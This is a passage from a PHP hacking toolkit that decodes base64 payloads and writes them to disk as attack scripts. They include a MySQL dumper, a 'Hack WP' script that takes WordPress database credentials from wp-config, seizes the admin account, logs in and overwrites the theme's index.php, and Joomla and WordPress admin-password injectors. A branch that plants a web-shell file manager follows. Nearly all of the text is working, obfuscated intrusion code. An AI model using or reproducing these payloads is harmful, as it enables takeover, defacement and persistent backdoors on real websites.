b3V0PC9hPlxuIjsKCWVjaG8gIjwvZm9udD5cbiI7CgllY2hvICI8L2JvZHk+XG4iOwoJZWNobyAi PC9odG1sPlxuIjsKfQoKCgoKLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLwpl cnJvcl9yZXBvcnRpbmcoMCk7CmluaV9zZXQgKCdkaXNwbGF5X2Vycm9ycycsIDApOwppbmlfc2V0 ICgnbG9nX2Vycm9ycycsIDApOwoKaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09 ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQoJbG9nb24oKTsKZWxzZSBpZiggJGFjdGlvbiA9 PSAibG9nb25fc3VibWl0IiApCglsb2dvbl9zdWJtaXQoKTsKZWxzZSBpZiggJGFjdGlvbiA9PSAi ZHVtcFRhYmxlIiB8fCAkYWN0aW9uID09ICJkdW1wREIiICkgewoJd2hpbGUoIGxpc3QoJHZhciwg JHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgewoJCWlmKCAkdmFyID09ICJteXNx bF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOwoJCWlmKCAkdmFyID09 ICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiICkgJFBBU1NXT1JEID0gJHZhbHVlOwoJCWlmKCAk dmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOwoJ fQoJJG15c3FsSGFuZGxlID0gbXlzcWxfcGNvbm5lY3QoICRIT1NUTkFNRSwgJFVTRVJOQU1FLCAk UEFTU1dPUkQgKTsKCWR1bXAoKTsKfSBlbHNlIHsKCXdoaWxlKCBsaXN0KCR2YXIsICR2YWx1ZSkg PSBlYWNoKCRIVFRQX0NPT0tJRV9WQVJTKSApIHsKCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2Fk bWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsKCQlpZiggJHZhciA9PSAibXlzcWxf d2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsKCQlpZiggJHZhciA9PSAi bXlzcWxfd2ViX2FkbWluX2hvc3RuYW1lIiApICRIT1NUTkFNRSA9ICR2YWx1ZTsKCX0KCWVjaG8g IjwhLS0iOwoJJG15c3FsSGFuZGxlID0gbXlzcWxfcGNvbm5lY3QoICRIT1NUTkFNRSwgJFVTRVJO QU1FLCAkUEFTU1dPUkQgKTsKCWVjaG8gIi0tPiI7CgoJaWYoICRteXNxbEhhbmRsZSA9PSBmYWxz ZSApIHsKCQllY2hvICI8aHRtbD5cbiI7CgkJZWNobyAiPGhlYWQ+XG4iOwoJCWVjaG8gIjx0aXRs ZT5NeVNRTCBJbnRlcmZhY2U8L3RpdGxlPlxuIjsKCQllY2hvICI8L2hlYWQ+XG4iOwoJCWVjaG8g Ijxib2R5PlxuIjsKCQllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJT48dHI+PHRk PjxjZW50ZXI+XG4iOwoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsKCQllY2hv ICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxvZ29uJz5Mb2dvbjwvYT5cbiI7CgkJZWNobyAi PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOwoJCWVjaG8gIjwvYm9keT5cbiI7CgkJZWNo byAiPC9odG1sPlxuIjsKCX0gZWxzZSB7CgkJaGVhZGVyX2h0bWwoKTsKCQlpZiggJGFjdGlvbiA9 PSAibGlzdERCcyIgKQoJCQlsaXN0RGF0YWJhc2VzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAi Y3JlYXRlREIiICkKCQkJY3JlYXRlRGF0YWJhc2UoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJk cm9wREIiICkKCQkJZHJvcERhdGFiYXNlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRh YmxlcyIgKQoJCQlsaXN0VGFibGVzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlVGFi bGUiICkKCQkJY3JlYXRlVGFibGUoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wVGFibGUi ICkKCQkJZHJvcFRhYmxlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQoJ CQl2aWV3U2NoZW1hKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAicXVlcnkiICkKCQkJdmlld0Rh dGEoICRxdWVyeVN0ciApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkIiApCgkJCW1h bmFnZUZpZWxkKCAiYWRkIiApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1p dCIgKQoJCQltYW5hZ2VGaWVsZF9zdWJtaXQoICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9 PSAiZWRpdEZpZWxkIiApCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0 aW9uID09ICJlZGl0RmllbGRfc3VibWl0IiApCgkJCW1hbmFnZUZpZWxkX3N1Ym1pdCggImVkaXQi ICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApCgkJCWRyb3BGaWVsZCgpOwoJ CWVsc2UgaWYoICRhY3Rpb24gPT0gInZpZXdEYXRhIiApCgkJCXZpZXdEYXRhKCAiIiApOwoJCWVs c2UgaWYoICRhY3Rpb24gPT0gImFkZERhdGEiICkKCQkJbWFuYWdlRGF0YSggImFkZCIgKTsKCQll bHNlIGlmKCAkYWN0aW9uID09ICJhZGREYXRhX3N1Ym1pdCIgKQoJCQltYW5hZ2VEYXRhX3N1Ym1p dCggImFkZCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQoJCQltYW5hZ2VE YXRhKCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YV9zdWJtaXQiICkK CQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRl bGV0ZURhdGEiICkKCQkJZGVsZXRlRGF0YSgpOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxz IiApCgkJCXV0aWxzKCk7CgoJCW15c3FsX2Nsb3NlKCAkbXlzcWxIYW5kbGUpOwoJCWZvb3Rlcl9o dG1sKCk7Cgl9Cn0KCj8+'; file_put_contents('MySQL.php',base64_decode($sql)); echo "Here MySQL.php
"; $Groupx3 = 'PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKCmlmICgkX1BPU1Rb J29rJ10pewokZGlyID0gJF9QT1NUWydkaXInXS4iLyI7CiRoPSI8PyBlY2hvKHN0cmlwc2xhc2hl cyhiYXNlNjRfZGVjb2RlKCciLnVybGVuY29kZShiYXNlNjRfZW5jb2RlKHN0cl9yZXBsYWNlKCIn IiwiJyIsKCRfUE9TVFsnY29kZSddKSkpKS4iJykpKTsgZXhpdDsgPz4iOwokY2ggPSBjdXJsX2lu aXQoKTsKJHRpbWVvdXQgPSAwOyAvLyBzZXQgdG8gemVybyBmb3Igbm8gdGltZW91dApjdXJsX3Nl dG9wdCAoJGNoLCBDVVJMT1BUX1VSTCwgJGRpcik7CmN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRf UkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1F T1VULCAkdGltZW91dCk7CiRodG1sID0gY3VybF9leGVjKCRjaCk7CmN1cmxfY2xvc2UoJGNoKTsK CgokZG9tID0gbmV3IERPTURvY3VtZW50KCk7CkAkZG9tLT5sb2FkSFRNTCgkaHRtbCk7CgovLyBn cmFiIGFsbCB0aGUgb24gdGhlIHBhZ2UKJHhwYXRoID0gbmV3IERPTVhQYXRoKCRkb20pOwokaHJl ZnMgPSAkeHBhdGgtPmV2YWx1YXRlKCIvaHRtbC9ib2R5Ly9hIik7CmVjaG8gIjx0ZXh0YXJlYSBu YW1lPSdUZXh0QXJlYTEnIHJvd3M9JzInIHN0eWxlPSd3aWR0aDogNTAlOyBoZWlnaHQ6IDUwJTsn PiI7CmZvciAoJGkgPSAwOyAkaSA8ICRocmVmcy0+bGVuZ3RoOyAkaSsrKSB7CiAgICAgICAkaHJl ZiA9ICRocmVmcy0+aXRlbSgkaSk7CiAgICAgICAkdXJsID0gJGhyZWYtPmdldEF0dHJpYnV0ZSgn aHJlZicpOwogICAgICAgaWYgKHByZWdfbWF0Y2goIi9Xb3JkcHJlc3MvaSIsJHVybCkpIHsKJGxp bmtvPSRkaXIuJycuJHVybDsKd3BfaW5kZXgoJGxpbmtvLCRoKTsgICAgCn0KCn0KZWNobyAiPC90 ZXh0YXJlYT4iOwp9IGVsc2UgewplY2hvICI8Y2VudGVyPgpbIH5+IEhhY2sgV1Agfn4gXTxicj4K PGZvcm0gbWV0aG9kPSdwb3N0Jz4KPGRpdj48aW5wdXQgY2xhc3M9J3N0eWxlMicgbmFtZT0nZGly JyBzdHlsZT0nd2lkdGg6IDUwJScgdHlwZT0ndGV4dCcgLz4KPGJyPjwvZGl2PgpJbmRleCBDb2Rl Cjxicj4KPFRFWFRBUkVBIHJvd3M9JzE4JyAgY29scz0nNTAnIG5hbWU9J2NvZGUnPjwvVEVYVEFS RUE+PGJyPgo8YnI+PGlucHV0IG5hbWU9J29rJyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdvaycgLz48 L2Zvcm0+IjsKfQpmdW5jdGlvbiB3cF9pbmRleCgkbGlua28sJGgpewokdGV4dD1maWxlX2dldF9j b250ZW50cygkbGlua28pOwokdXNlcm5hbWU9ZW50cmUydjIoJHRleHQsImRlZmluZSgnREJfVVNF UicsICciLCInKTsiKTsKJHBhc3N3b3JkPWVudHJlMnYyKCR0ZXh0LCJkZWZpbmUoJ0RCX1BBU1NX T1JEJywgJyIsIicpOyIpOwokZGJuYW1lPWVudHJlMnYyKCR0ZXh0LCJkZWZpbmUoJ0RCX05BTUUn LCAnIiwiJyk7Iik7CiRwcmVmaXg9ZW50cmUydjIoJHRleHQsIiR0YWJsZV9wcmVmaXggID0gJyIs IiciKTsKICAgICAgJGxpbms9bXlzcWxfY29ubmVjdCgibG9jYWxob3N0IiwkdXNlcm5hbWUsJHBh c3N3b3JkKSA7CgkgIGlmICgkbGluaykgewogICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRibmFt ZSwkbGluaykgOwoJCSAkcmVxMSA9bXlzcWxfcXVlcnkoIlVQREFURSBgIi4kcHJlZml4LiJ1c2Vy c2AgU0VUIGB1c2VyX2xvZ2luYCA9ICdwYWluJyxgdXNlcl9wYXNzYCA9ICc2YmI4ZmUwNTBlYTQ5 ZmI0ZDY5NDkzZWRmZjVlMTFjYycgV0hFUkUgYHdwX3VzZXJzYC5gSURgID0xIExJTUlUIDEgOyIp OwkKCSRyZXEgPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kcHJlZml4LiJvcHRpb25z YCBXSEVSRSBvcHRpb25fbmFtZT0naG9tZSciKTsKCSAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5 KCRyZXEpOwokc2l0ZV91cmw9JGRhdGFbIm9wdGlvbl92YWx1ZSJdO30KICAgICAgJHVzZXJhZ2Vu dD0iTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNy4wYjsgV2luZG93cyBOVCA1LjE7IC5O RVQgQ0xSIDEuMS40MzIyOyBBbGV4YSBUb29sYmFyOyAuTkVUIENMUiAyLjAuNTA3MjcpIjsKCgoK CSAkdXJsMj0kc2l0ZV91cmwuIi93cC1sb2dpbi5waHAiOwoKJGNoID0gY3VybF9pbml0KCk7CmN1 cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJM T1BUX1BPU1QsIDEpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywibG9nPXBh aW4mcHdkPXN5bmNtYXN0ZXI5MjNudyZyZW1lbWJlcm1lPWZvcmV2ZXImd3Atc3VibWl0PUxvZyBJ biZ0ZXN0Y29va2llPTEiKTsKCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElP TiwgMSk7CmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwpjdXJsX3Nl dG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VT RVJBR0VOVCwgJHVzZXJhZ2VudCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lF SkFSLCAiQ09PS0lFLnR4dCIpOyAKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVG SUxFLCAiQ09PS0lFLnR4dCIpOyAKCgokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7CgokdXJsMj10 cmltKCRzaXRlX3VybC4iL3dwLWFkbWluL3RoZW1lLWVkaXRvci5waHA/ZmlsZT0vdGhlbWVzL3R3 ZW50eXRlbi9pbmRleC5waHAmdGhlbWU9VHdlbnR5K1RlbiZkaXI9dGhlbWUiKTsKICAgCi8vLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cXAogCiRj aCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7CgoK Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsKY3VybF9zZXRvcHQo JGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9I RUFERVIsIDApOwoKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2Vu dCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIp OyAKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIp OyAKJGJ1ZmZlcjAgPSBjdXJsX2V4ZWMoJGNoKTsKCiRfd3Bub25jZT1lbnRyZTJ2MigkYnVmZmVy MCwnPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9Il93cG5vbmNlIiBuYW1lPSJfd3Bub25jZSIgdmFs dWU9IicsJyIgLz4nKTsKJF9maWxlPWVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlk ZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpOwoKCSAkdXJsMj0kc2l0ZV91cmwuIi93 cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjsKCiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9w dCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NU LCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIm5ld2NvbnRlbnQ9Ii4k aC4iJmFjdGlvbj11cGRhdGUmZmlsZT0iLiRfZmlsZS4iJl93cG5vbmNlPSIuJF93cG5vbmNlLiIm dGhlbWU9VHdlbnR5K1RlbiZzdWJtaXQ9VXBkYXRlIEZpbGUiKTsKCmN1cmxfc2V0b3B0KCRjaCwg Q1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7CmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVS TlRSQU5TRkVSLDEpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsKY3VybF9z ZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7CiAgICBjdXJsX3NldG9w dCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpOyAKICAgIGN1cmxfc2V0b3B0 KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOyAKCgokYnVmZmVyID0gY3Vy bF9leGVjKCRjaCk7CgokcG9zID0gc3RycG9zKCRidWZmZXIsJzxkaXYgaWQ9Im1lc3NhZ2UiIGNs YXNzPSJ1cGRhdGVkIj4nKTsKCmlmKCRwb3MgIT09IGZhbHNlKSB7CmVjaG8oIiRzaXRlX3VybC93 cC1jb250ZW50L3RoZW1lcy90d2VudHl0ZW4vaW5kZXgucGhwXG4iKTsKfQoKCgp9IAoKIApmdW5j dGlvbiBlbnRyZTJ2MigkdGV4dCwkbWFycXVldXJEZWJ1dExpZW4sJG1hcnF1ZXVyRmluTGllbikK CnsKCiRhcjA9ZXhwbG9kZSgkbWFycXVldXJEZWJ1dExpZW4sICR0ZXh0KTsKJGFyMT1leHBsb2Rl KCRtYXJxdWV1ckZpbkxpZW4sICRhcjBbMV0pOwokYXI9dHJpbSgkYXIxWzBdKTsKcmV0dXJuICRh cjsKfQo/Pg=='; file_put_contents('Index-wordpress.php',base64_decode($Groupx3)); echo "Here Index-wordpress.php
"; $InjectJoomla = 'PD9waHAKCmlmKGVtcHR5KCRfUE9TVFsncHdkJ10pKXtlY2hvICIKPEZPUk0gbWV0aG9kPVwiUE9T VFwiPgpIb3N0Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IDogPElO UFVUIHNpemU9XCIxNVwiIHZhbHVlPVwibG9jYWxob3N0XCIgbmFtZT1cImxvY2FsaG9zdFwiIHR5 cGU9XCJ0ZXh0XCI+PHA+CkRhdGFiYXNlIDogPElOUFVUIHNpemU9XCIxNVwiIHZhbHVlPVwiZGF0 YWJhc2VcIiBuYW1lPVwiZGF0YWJhc2VcIiB0eXBlPVwidGV4dFwiPjxwPgpVc2VybmFtZSA6IDxJ TlBVVCBzaXplPVwiMTVcIiB2YWx1ZT1cImRiX3VzZXJcIiBuYW1lPVwidXNlcm5hbWVcIiB0eXBl PVwidGV4dFwiPjxwPgpQYXNzd29yZCA6IDxJTlBVVCBzaXplPVwiMTVcIiB2YWx1ZT1cIioqXCIg bmFtZT1cInBhc3N3b3JkXCIgdHlwZT1cInBhc3N3b3JkXCI+PHA+ClNldCBBIE5ldyBVc2VybmFt ZSBGb3IgTG9naW4gOiA8SU5QVVQgbmFtZT1cImFkbWluXCIgc2l6ZT1cIjE1XCIgdmFsdWU9XCJI YWthbVwiPjxwPgpUaGUgUGFzc3dvcmQgaXMgOiA8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+SXJhUTwv Zm9udD4gPElOUFVUIHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicHdkXCIgc2l6ZT1cIjE1XCIgCnZh bHVlPVwiZTMxODg2NTI5YjM4ZmY5MmMwOTExYWZiZTYwNDgzYTA6QWZuWUFLSkYxZlhMZnFCNjRI Q0VUTVgyN2xOZ0FMVUFcIj48cD4KPElOUFVUIHZhbHVlPVwiY2hhbmdlXCIgbmFtZT1cInNlbmRc IiB0eXBlPVwic3VibWl0XCI+CjwvRk9STT4iO30KZWxzZXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsn bG9jYWxob3N0J107CiRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107CiR1c2VybmFtZSAg PSAkX1BPU1RbJ3VzZXJuYW1lJ107CiRwYXNzd29yZCAgPSAkX1BPU1RbJ3Bhc3N3b3JkJ107CiRw d2QgICAgICAgPSAkX1BPU1RbJ3B3ZCddOwokYWRtaW4gICAgID0gJF9QT1NUWydhZG1pbiddOwoK CiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkg b3IgZGllKG15c3FsX2Vycm9yKCkpOwogICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFz ZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOwoKJGhhc2ggPSBjcnlwdCgkcHdkKTsKCiRTUUw9QG15 c3FsX3F1ZXJ5KCJVUERBVEUgam9zX3VzZXJzIFNFVCB1c2VybmFtZSA9JyIuJGFkbWluLiInIFdI RVJFIElEID0gNjIiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiRTUUw9QG15c3FsX3F1ZXJ5KCJV UERBVEUgam9zX3VzZXJzIFNFVCBwYXNzd29yZCA9JyIuJHB3ZC4iJyBXSEVSRSBJRCA9IDYyIikg b3IgZGllKG15c3FsX2Vycm9yKCkpOwoKaWYoJFNRTCl7CmVjaG8gIjxiPjxmb250IGNvbG9yPScj QzBDMEMwJz5yb290QHNlcnZbI10gfiBTdWNjZXNzIDxpbWcgc3JjPSdodHRwOi8vaW1nODE4Lmlt YWdlc2hhY2sudXMvaW1nODE4Lzc4MDgvNjc5NTA3MzQ4LmdpZic+IDxicj5yb290QHNlcnZbI10g fiBDb2RlZCBCeSAKPC9mb250Pjxmb250IGNvbG9yPScjRkYwMDAwJz5UaGUgU3dvcmQ8L2ZvbnQ+ PGZvbnQgY29sb3I9JyNDMEMwQzAnPjxicj5yb290QHNlcnZbI10gfiBKb2luIFVzCjwvZm9udD4K PGZvbnQgY29sb3I9JyNGRjAwMDAnPgo8YSBocmVmPSdodHRwOi8vd3d3LmhhY2stYm9vay5jb20v dmIvJyBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiBub25lJz4KPGZvbnQgY29sb3I9JyNGRkZGRkYn Pnd3dy5oYWNrLWJvb2suY29tPC9mb250PjwvYT48L2ZvbnQ+PC9iPiI7fQoKfQoKPz4='; file_put_contents('Inject-joomla-pass.php',base64_decode($InjectJoomla)); echo "Here Inject-joomla-pass.php
"; $InjectWP = 'PD9waHAKCmlmKGVtcHR5KCRfUE9TVFsncHdkJ10pKXsKZWNobyAiPEZPUk0gbWV0aG9kPVwiUE9T VFwiPgpEYXRhYmFzZTogPElOUFVUIHNpemU9XCIxNVwiIHZhbHVlPVwid3AtXCIgbmFtZT1cImRh dGFiYXNlXCIgdHlwZT1cInRleHRcIj48YnI+ClVzZXJuYW1lOjxJTlBVVCBzaXplPVwiMTVcIiB2 YWx1ZT1cIndwLVwiIG5hbWU9XCJ1c2VybmFtZVwiIHR5cGU9XCJ0ZXh0XCIgPjxicj4KUGFzc3dv cmQ6IDxJTlBVVCBzaXplPVwiMTVcIiB2YWx1ZT1cIioqXCIgbmFtZT1cInBhc3N3b3JkXCIgdHlw ZT1cInBhc3N3b3JkXCIgPjxicj4KICAgICAgPGJyPgpTZXQgYSBOZXcgVXNlcm5hbWUgRm9yIExv Z2luIDo8SU5QVVQgbmFtZT1cImFkbWluXCIgc2l6ZT1cIjE1XCIgdmFsdWU9XCJIYWthbVwiID48 YnI+ClNldCBhIE5ldyBQYXNzd29yZCBGb3IgTG9naW4mbmJzcDsgOjxJTlBVVCBuYW1lPVwicHdk XCIgc2l6ZT1cIjE1XCIgdmFsdWU9XCJpcmFxXCIgPjxicj4KCjxJTlBVVCB2YWx1ZT1cImNoYW5n ZVwiIG5hbWU9XCJzZW5kXCIgdHlwZT1cInN1Ym1pdFwiICA+PC9GT1JNPiI7Cn1lbHNlewokbG9j YWxob3N0ID0gJF9QT1NUWydsb2NhbGhvc3QnXTsKJGRhdGFiYXNlICA9ICRfUE9TVFsnZGF0YWJh c2UnXTsKJHVzZXJuYW1lICA9ICRfUE9TVFsndXNlcm5hbWUnXTsKJHBhc3N3b3JkICA9ICRfUE9T VFsncGFzc3dvcmQnXTsKJHB3ZCAgICAgICA9ICRfUE9TVFsncHdkJ107CiRhZG1pbiAgICAgPSAk X1BPU1RbJ2FkbWluJ107CgoKICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNl cm5hbWUsJHBhc3N3b3JkKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiAgICAgICAgIEBteXNxbF9z ZWxlY3RfZGIoJGRhdGFiYXNlKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CgokaGFzaCA9IGNyeXB0 KCRwd2QpOwoKJGE0cz1AbXlzcWxfcXVlcnkoIlVQREFURSB3cF91c2VycyBTRVQgdXNlcl9sb2dp biA9JyIuJGFkbWluLiInIFdIRVJFIElEID0gMSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKJGE0 cz1AbXlzcWxfcXVlcnkoIlVQREFURSB3cF91c2VycyBTRVQgdXNlcl9wYXNzID0nIi4kaGFzaC4i JyBXSEVSRSBJRCA9IDEiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CgppZigkYTRzKXsKZWNobyAi PGI+PGZvbnQgY29sb3I9JyNDMEMwQzAnPnJvb3RAc2VydlsjXSB+IFN1Y2Nlc3MgPGltZyBzcmM9 J2h0dHA6Ly9pbWc4MTguaW1hZ2VzaGFjay51cy9pbWc4MTgvNzgwOC82Nzk1MDczNDguZ2lmJz4g Cgo8YnI+cm9vdEBzZXJ2WyNdIH4gQ29kZWQgQnkgCjwvZm9udD48Zm9udCBjb2xvcj0nI0ZGMDAw MCc+VGhlIFN3b3JkPC9mb250Pjxmb250IGNvbG9yPScjQzBDMEMwJz48YnI+cm9vdEBzZXJ2WyNd IH4gSm9pbiBVcwo8L2ZvbnQ+Cjxmb250IGNvbG9yPScjRkYwMDAwJz4KPGEgaHJlZj0naHR0cDov L3d3dy5oYWNrLWJvb2suY29tL3ZiLycgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogbm9uZSc+Cjxm b250IGNvbG9yPScjRkZGRkZGJz53d3cuaGFjay1ib29rLmNvbTwvZm9udD48L2E+PC9mb250Pjwv Yj4iOwp9Cn0KCj8+'; file_put_contents('Inject-wp-pass.php',base64_decode($InjectWP)); }elseif($_POST[tool]=='Shells'){ $shells = 'shells'; mkdir('shells'); chdir('shells'); $shell = 'PD9waHAKLyoKICogTXIuUjAwVCAtIGEgc2ltcGxlIFdlYi1iYXNlZCBmaWxlIG1hbmFnZXIKICog Q29weXJpZ2h0IChDKSAyMDA0ICBUZWFNIEhhY0tlciBFZ3lwVCA8STBYMEBIT1RNQUlMLkNPTT4K ICoKICogVGhpcyBwcm9ncmFtIGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRl IGl0IGFuZC9vciBtb2RpZnkKICogaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJh bCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKICogdGhlIEZyZWUgU29mdHdhcmUgRm91 bmRhdGlvbjsgZWl0aGVyIHZlcnNpb24gMiBvZiB0aGUgTGljZW5zZSwgb3IKICogKGF0IHlvdXIg b3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4KICoKICogVGhpcyBwcm9ncmFtIGlzIGRpc3RyaWJ1 dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCiAqIGJ1dCBXSVRIT1VUIEFO WSBXQVJSQU5UWTsgd2l0aG91dCBldmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5IG9mCiAqIE1FUkNI QU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUK ICogR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0YWlscy4KICoKICogWW91 IHNob3VsZCBoYXZlIHJlY2VpdmVkIGEgY29weSBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExp Y2Vuc2UKICogYWxvbmcgd2l0aCB0aGlzIHByb2dyYW07IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZy ZWUgU29mdHdhcmUKICogRm91bmRhdGlvbiwgSW5jLiwgNjc1IE1hc3MgQXZlLCBDYW1icmlkZ2Us IE1BIDAyMTM5LCBVU0EuCiAqCiAqIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICogV2hpbGUgdXNpbmcgdGhp cyBzY3JpcHQsIGRvIE5PVCBuYXZpZ2F0ZSB3aXRoIHlvdXIgYnJvd3NlcidzIGJhY2sgYW5kCiAq IGZvcndhcmQgYnV0dG9ucyEgQWx3YXlzIG9wZW4gZmlsZXMgaW4gYSBuZXcgYnJvd3NlciB0YWIh CiAqIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0KICoKICogVGhpcyBpcyBWZXJzaW9uIDAuOSwgcmV2aXNpb24g 